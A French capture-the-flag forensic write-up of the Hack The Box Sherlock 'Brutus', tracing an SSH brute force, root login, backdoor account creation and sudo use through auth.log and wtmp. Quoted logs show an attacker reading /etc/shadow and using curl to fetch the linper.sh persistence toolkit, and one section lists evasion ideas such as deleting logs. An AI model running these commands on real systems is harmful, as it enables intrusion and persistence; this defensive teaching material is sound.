Hack the box – Sherlocks (forensic) : découverte et solution de Brutus

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.

Lien du challenge : Hack The Box - Sherlocks - Brutus

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordées	Linux, bruteforce, wtmp, auth.log, SSH
Outils utilisés	cat, grep, tail, uniq, framework MITRE ATT&CK

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive et des journaux

Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :

Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.

Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :

Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.

Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.

Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.

Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :

• Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
  • Vous pourrez en apprendre plus sur ce fichier dans notre article Linux : qu’est-ce que le fichier /var/log/auth.log ou /var/log/secure ?
• Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.

Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :

Mar  6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar  6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar  6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar  6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184

Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.

III. Investigation numérique : le cas Brutus

A. Tâche n°1: Identifier l'adresse IP de l'attaquant

• Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.

Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.

$ grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log  | uniq -c
      1 203.101.190.9
      4 65.2.161.68
      1 172.31.35.28
    210 65.2.161.68

Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :

$ grep "65.2.161.68" auth.log         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]           
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups             
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436      
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68         
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422

Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.

Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.

Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.

B. Tâche n°2 : Authentification réussie

• Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :

$ grep "65.2.161.68" auth.log | tail -n 4
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :

$ grep "Accepted" auth.log 
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh

La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.

C. Tâche n°3 : Date de connexion SSH

• Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".

$ last -f wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.

Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".

D. Tâche n°4 : Identification de session SSH

• Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.

Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.

Nous pouvons pour cela utiliser l'option "-A X" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".

$ grep "Accepted" auth.log  -A 5          
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence

Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.

Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".

E. Tâche n°5 : création d'un accès persistant

• Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :

$ grep "65.2.161.68" auth.log | tail 
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie

Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.

$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

F. Tâche n°6 : TTP du MITRE ATT&CK

• Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?

Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :

Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :

G. Tâche n°7 : Temps de session SSH

• Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :

$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

Le temps total de la session est de 279 secondes.

H. Tâche n°8 : Commande sudo

• Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".

La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.

On parle alors de "sudo escape" : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :

$ grep "sudo" auth.log 
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use

L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :

Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".

Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)	Détails
T1110.001 - Brute Force: Password Guessing	Réalisation d'une attaque par bruteforce sur l'accès SSH.
T1078.003 - Valid Accounts: Local Accounts	Authentification en tant que "root" .
TTP1136.001 - Create Account: Local Account	Création d'un compte utilisateur local ("cyberjunkie").
T1098 - Account Manipulation	Ajout d'une dérogation sudo à ce nouvel utilisateur permettant d'exécuter des commandes en tant que "root"
T1078.003 - Valid Accounts: Local Accounts	Connexion SSH avec l'utilisateur nouvelle créé
T1608.002 - Stage Capabilities: Upload Tool	Téléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).

A. Côté analyste

Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.

Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :

• Avec arsenal, créez un inventaire de vos commandes Linux favorites et gagnez en efficacité

B. Côté défense

Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :

• Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
• La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
  • Retrouvez nos tutoriels Fail2ban.
  • Retrouvez nos tutoriels CrowdSec.
• Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
• Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.

C. Côté attaquant

L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :

• L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
• Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
  • T1583 - Acquire Infrastructure
• Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outil et une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
  • T1036 - Masquerading
• L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
  • T1562.012 - Impair Defenses: Disable or Modify Linux Audit System
  • T1562.003 - Impair Defenses: Impair Command History Logging
  • T1070.002 - Indicator Removal: Clear Linux or Mac System Logs
  • T1070.003 - https://attack.mitre.org/techniques/T1070/003/

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis ! 🙂

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy